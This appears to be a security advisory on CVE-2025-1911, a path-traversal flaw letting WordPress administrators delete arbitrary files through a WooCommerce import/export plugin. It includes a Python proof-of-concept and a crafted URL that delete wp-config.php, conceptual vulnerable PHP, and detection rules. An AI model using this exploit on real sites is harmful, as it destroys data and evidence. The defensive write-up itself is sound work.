CVE-2025-1911

Executive Summary

CVE-2025-1911 is a vulnerability in the WordPress plugin "Product Import Export for WooCommerce – Import Export Product CSV Suite" by Webtoffee. This flaw allows an authenticated attacker with Administrator-level privileges to delete arbitrary log files on the server due to insufficient path validation in the admin_log_page() function. The vulnerability affects all versions up to and including 2.5.0. While the CVSS score is low (2.7) due to the high privileges required, the impact can be significant for forensic integrity and operational logging, potentially aiding an attacker in covering tracks after a compromise.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and commercial channels. Users should verify the integrity of their plugin files against the official source and monitor for updates from Webtoffee.

CVSS Breakdown & Threat Level

• CVSS Score: 2.7 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – Administrator-level access is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): Low (L) – Arbitrary log files can be deleted, affecting log integrity.
• Availability (A): None (N) – No direct denial of service.

Threat Level: Low. The requirement for Administrator privileges significantly reduces the attack surface. However, in a post-exploitation scenario, this vulnerability can be used to destroy evidence.

Deep Dive & Mechanics

The vulnerability exists in the admin_log_page() function of the plugin. This function is responsible for displaying and managing log files generated by the plugin's import/export operations. The flaw lies in the insufficient validation of the file path provided by the user when deleting a log file.

Root Cause: The code likely uses a user-supplied parameter (e.g., log_file) to construct a file path for deletion without properly sanitizing or validating it. An attacker can use path traversal sequences (e.g., ../) to escape the intended log directory and delete arbitrary files on the server.

Attack Flow:

1. An attacker authenticates as an Administrator.
2. The attacker navigates to the plugin's log management page.
3. The attacker intercepts the delete request (e.g., via a proxy) and modifies the log_file parameter to include a path traversal payload, such as ../../wp-config.php.
4. The plugin's admin_log_page() function passes this path to a file deletion function (e.g., unlink() or wp_delete_file()).
5. The server deletes the targeted file, potentially causing a denial of service or destroying forensic evidence.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

function admin_log_page() {
    if ( isset( $_GET['delete_log'] ) ) {
        $log_file = $_GET['log_file'];
        // Insufficient validation - no path traversal check
        if ( file_exists( $log_file ) ) {
            unlink( $log_file );
        }
    }
}

Patched Code (Conceptual):

function admin_log_page() {
    if ( isset( $_GET['delete_log'] ) ) {
        $log_file = basename( $_GET['log_file'] ); // Strip path components
        $log_dir = WP_CONTENT_DIR . '/uploads/woo-log/';
        $full_path = $log_dir . $log_file;
        // Validate that the file is within the allowed directory
        if ( strpos( realpath( $full_path ), realpath( $log_dir ) ) === 0 && file_exists( $full_path ) ) {
            unlink( $full_path );
        }
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress installation with the vulnerable plugin (version <= 2.5.0).
• Administrator credentials.

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Navigate to the plugin's log page (e.g., /wp-admin/admin.php?page=wf_woocommerce_csv_import_export&tab=log).
3. Identify the delete action for a log file. The URL might look like: /wp-admin/admin.php?page=wf_woocommerce_csv_import_export&tab=log&delete_log=1&log_file=some_log.log.
4. Modify the log_file parameter to delete an arbitrary file. For example, to delete the WordPress configuration file:

   /wp-admin/admin.php?page=wf_woocommerce_csv_import_export&tab=log&delete_log=1&log_file=../../wp-config.php
   

5. Send the request. If successful, the wp-config.php file will be deleted, causing a critical site failure.

Proof of Concept (PoC) Script:

import requests

target_url = "http://example.com/wp-admin/admin.php"
params = {
    "page": "wf_woocommerce_csv_import_export",
    "tab": "log",
    "delete_log": "1",
    "log_file": "../../wp-config.php"
}
cookies = {"wordpress_logged_in": "admin_session_cookie"}

response = requests.get(target_url, params=params, cookies=cookies)
if response.status_code == 200:
    print("File deletion attempted. Check if wp-config.php is missing.")
else:
    print("Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests to the plugin's admin page with suspicious log_file parameters containing path traversal sequences (e.g., ../, ..\\).
• Alert on file deletion events for critical system files (e.g., wp-config.php, .htaccess).
• Review server logs for unlink() or wp_delete_file() calls with unexpected paths.

Mitigation:

• Immediately restrict write permissions on critical files.
• Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
• Monitor for unauthorized Administrator-level access.

Indicators of Compromise (IOCs)

• File Paths: Deletion of files outside the expected log directory (e.g., /var/www/html/wp-config.php).
• HTTP Requests: GET requests to /wp-admin/admin.php with parameters containing log_file=../../.
• Server Logs: Entries showing unlink() or wp_delete_file() calls with path traversal patterns.
• Plugin Version: Presence of "Product Import Export for WooCommerce" version <= 2.5.0.

Detection Engineering

YARA Rule

rule CVE_2025_1911_WordPress_Plugin_Log_Deletion {
    meta:
        description = "Detects attempts to exploit CVE-2025-1911 via path traversal in log_file parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1911"
    strings:
        $path_traversal = /log_file=[^&]*\.\.\// nocase
        $admin_page = "admin.php?page=wf_woocommerce_csv_import_export" nocase
        $delete_log = "delete_log=1" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-1911 - WordPress Plugin Arbitrary Log File Deletion
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-1911 via path traversal in the log_file parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'admin.php?page=wf_woocommerce_csv_import_export'
            - 'delete_log=1'
            - 'log_file='
        cs-uri-query|re: 'log_file=[^&]*\.\.\/'
    condition: selection
falsepositives:
    - Legitimate log file management by administrators (unlikely with path traversal)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1911 - WordPress Plugin Arbitrary Log File Deletion"; flow:to_server,established; content:"GET"; http_method; content:"admin.php"; http_uri; content:"page=wf_woocommerce_csv_import_export"; http_uri; content:"delete_log=1"; http_uri; pcre:"/log_file=[^&]*\.\.\//Ui"; reference:cve,2025-1911; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Webtoffee.
2. Restrict Administrator access to only trusted users.
3. Implement file integrity monitoring (e.g., Tripwire, OSSEC) to detect unauthorized file deletions.

Long-Term Fix:

• Apply the vendor patch when available. The fix should include proper path validation using basename() and realpath() to ensure only files within the intended log directory can be deleted.
• Update to the latest version of the plugin once it is released.

Workaround:

• Modify the plugin code manually to add path validation (as shown in the patched code example) if you have development resources.

Report generated by Valters IT DevSecOps & CTI Framework